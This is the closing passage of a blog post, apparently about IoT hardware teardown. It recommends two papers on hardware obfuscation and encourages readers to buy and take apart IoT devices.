If you’re interested, here are some solid publications regarding hardware obfuscation I’d recommend the following papers:

1. https://arxiv.org/pdf/1910.00981.pdf
2. https://swarup.ece.ufl.edu/papers/J/J48.pdf

Summary:

I hope you liked the blog post. Follow me on twitter I sometimes post interesting stuff there too. This was a lot of fun! Personally, I’d strongly recommend going on Amazon, Alibaba, or Aliexpress and buying a bunch of odd or common IoT devices and tearing them down. You never know what you will find 🙂

Thank you for reading!